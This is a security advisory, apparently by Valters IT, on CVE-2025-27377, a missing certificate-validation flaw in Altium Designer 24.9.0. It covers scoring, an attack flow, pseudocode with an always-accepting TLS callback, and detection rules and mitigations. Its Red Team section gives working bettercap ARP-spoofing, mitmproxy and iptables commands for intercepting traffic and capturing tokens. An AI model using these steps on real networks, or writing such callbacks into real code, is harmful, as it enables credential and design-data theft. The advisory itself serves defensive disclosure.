CVE-2025-27377

Executive Summary

CVE-2025-27377 exposes a critical security flaw in Altium Designer version 24.9.0, where the application fails to validate self-signed server certificates for cloud connections. This vulnerability allows an attacker positioned on the network (e.g., via ARP spoofing or rogue Wi-Fi) to perform a man-in-the-middle (MITM) attack, intercepting and potentially manipulating traffic between the Altium Designer client and its cloud services. The lack of certificate validation means that any self-signed certificate presented by an attacker will be accepted, enabling the theft of authentication credentials, session tokens, and sensitive design data (e.g., PCB layouts, schematics, intellectual property). With a CVSS score of 5.3 (Medium), the risk is elevated due to the potential for data exfiltration and credential compromise, though exploitation requires network access. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary desktop application (Altium Designer) and its cloud connectivity. The risk is primarily to organizations using Altium Designer for electronic design automation (EDA) and storing sensitive design files in the cloud.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector (AV): Network – The attacker must be on the same network segment as the victim (e.g., local network, Wi-Fi).
• Attack Complexity (AC): High – Requires MITM positioning and ability to intercept TLS traffic.
• Privileges Required (PR): None – No prior authentication needed.
• User Interaction (UI): None – The victim does not need to click anything; the vulnerability is triggered automatically during cloud sync.
• Scope (S): Unchanged – The vulnerable component and the attacker’s target are the same.
• Confidentiality (C): High – Full exposure of authentication credentials and design data.
• Integrity (I): None – No data modification is implied by the CVE description.
• Availability (A): None – No denial-of-service impact.

Threat Level: Medium. Exploitation requires network proximity and MITM capability, but the impact on confidentiality is severe. The lack of a patch increases the urgency for mitigations.

Deep Dive & Mechanics

Altium Designer 24.9.0 uses TLS to communicate with Altium’s cloud services (e.g., Altium 365, component libraries, licensing). The vulnerability lies in the TLS client implementation: the application does not validate the server’s certificate chain. Specifically, it accepts any self-signed certificate presented during the TLS handshake, bypassing standard certificate authority (CA) verification.

Attack Flow:

1. Positioning: The attacker gains a MITM position (e.g., ARP spoofing, rogue DHCP, compromised router).
2. Interception: When Altium Designer initiates a TLS connection to *.altium.com or similar, the attacker intercepts the TCP handshake.
3. Certificate Injection: The attacker presents a self-signed TLS certificate for the target domain.
4. Acceptance: Altium Designer accepts the certificate without validation, establishing an encrypted tunnel with the attacker.
5. Data Theft: The attacker decrypts all traffic, capturing credentials (e.g., OAuth tokens, API keys) and design data (e.g., PCB files, BOMs).

Root Cause: The application likely uses a custom TLS stack or misconfigured system trust store, disabling certificate validation for cloud endpoints. This is a classic CWE-295 (Improper Certificate Validation) vulnerability.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the entire TLS client implementation in Altium Designer 24.9.0. A patched version would include proper certificate validation, such as:

Vulnerable (pseudocode):

// Altium Designer 24.9.0 - No certificate validation
TcpClient client = new TcpClient("cloud.altium.com", 443);
SslStream sslStream = new SslStream(client.GetStream(), false, 
    (sender, certificate, chain, sslPolicyErrors) => true); // Always accepts
sslStream.AuthenticateAsClient("cloud.altium.com");

Patched (pseudocode):

// Hypothetical patched version
TcpClient client = new TcpClient("cloud.altium.com", 443);
SslStream sslStream = new SslStream(client.GetStream(), false, 
    (sender, certificate, chain, sslPolicyErrors) => 
    {
        if (sslPolicyErrors == SslPolicyErrors.None)
            return true;
        // Additional checks: chain trust, hostname match, revocation
        return false;
    });
sslStream.AuthenticateAsClient("cloud.altium.com");

Exploitation & Lab Setup

Red Team

Prerequisites:

• Kali Linux or similar with bettercap, mitmproxy, or responder.
• Network access to the victim’s subnet (e.g., same Wi-Fi).
• Altium Designer 24.9.0 running on a Windows host.

Step-by-Step Exploitation:

1. ARP Spoofing (using bettercap):

   sudo bettercap -eval "set arp.spoof.targets 192.168.1.100; arp.spoof on"
   

2. Set up MITM proxy (mitmproxy) with a self-signed certificate:

   mitmproxy --mode transparent --listen-port 8080
   

3. Redirect traffic (iptables on Linux gateway):

   sudo iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080
   

4. Capture credentials: Monitor mitmproxy for HTTP Basic Auth, OAuth tokens, or API keys in the decrypted traffic.

Expected Output: The attacker will see plaintext authentication tokens and design data (e.g., JSON payloads containing access_token, design_id).

Blue Team

Detection:

• Monitor for unexpected TLS certificates on the network (e.g., using Zeek or Suricata).
• Alert on connections to Altium cloud services that do not match known certificate fingerprints.
• Use endpoint detection to flag processes (AltiumDesigner.exe) making TLS connections without proper validation.

Hunting:

• Search for SslPolicyErrors or RemoteCertificateValidationCallback in process memory (if memory forensics is possible).
• Check for ARP spoofing indicators (e.g., duplicate IP-MAC pairs in ARP tables).

Indicators of Compromise (IOCs)

• Network:

  • TLS connections to *.altium.com using self-signed certificates (check certificate issuer field).
  • Unexpected ARP replies (e.g., MAC address changes for gateway IP).
  • Traffic on port 443 with unusual SNI (Server Name Indication) values.

• Host:

  • Process AltiumDesigner.exe making connections to IPs not in Altium’s ASN.
  • Presence of mitmproxy or bettercap on the network (if attacker is internal).

• File:

  • No specific file-based IOCs; the vulnerability is network-based.

Detection Engineering

YARA Rule

rule CVE_2025_27377_Altium_Cert_Validation
{
    meta:
        description = "Detects Altium Designer binary with improper certificate validation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-27377"
    strings:
        $s1 = "RemoteCertificateValidationCallback" nocase
        $s2 = "SslPolicyErrors" nocase
        $s3 = "return true" nocase
    condition:
        all of ($s1, $s2, $s3) and filesize < 10MB
}

Sigma Rule

title: Altium Designer Self-Signed Certificate Acceptance
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects network connections from Altium Designer that accept self-signed certificates
author: Valters IT
date: 2025/04/10
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        Image|endswith: '\AltiumDesigner.exe'
        DestinationPort: 443
        Initiated: true
    filter:
        - DestinationHostname|endswith: '.altium.com'
        - CertificateIssuer: 'CN=*.altium.com'  # Legitimate issuer
    condition: selection and not filter
falsepositives:
    - Legitimate connections to Altium cloud (if certificate validation is fixed)
level: high

Suricata Rule

alert tls $HOME_NET any -> $EXTERNAL_NET 443 (msg:"CVE-2025-27377 Altium Designer Self-Signed Certificate"; flow:to_server; tls.cert_issuer:!".*Altium.*"; tls.cert_subject:".*altium\.com.*"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate Altium Designer workstations from untrusted networks (e.g., guest Wi-Fi).
2. TLS Inspection: Deploy a corporate TLS inspection proxy (e.g., Zscaler, Palo Alto) to validate all outbound connections.
3. Certificate Pinning: If possible, configure Altium Designer to pin the legitimate Altium cloud certificate (e.g., via registry or config file).
4. Monitor: Enable logging of all TLS handshake errors on endpoints and network devices.

Long-Term Fix:

• Vendor Patch: Await an official update from Altium that implements proper certificate validation. Contact Altium support to escalate.
• Alternative: Consider using a VPN or dedicated cloud gateway to enforce certificate validation at the network level.

Workaround:

• Disable cloud connectivity in Altium Designer (if local-only workflow is acceptable) by blocking outbound connections to Altium domains in the firewall.

Valters IT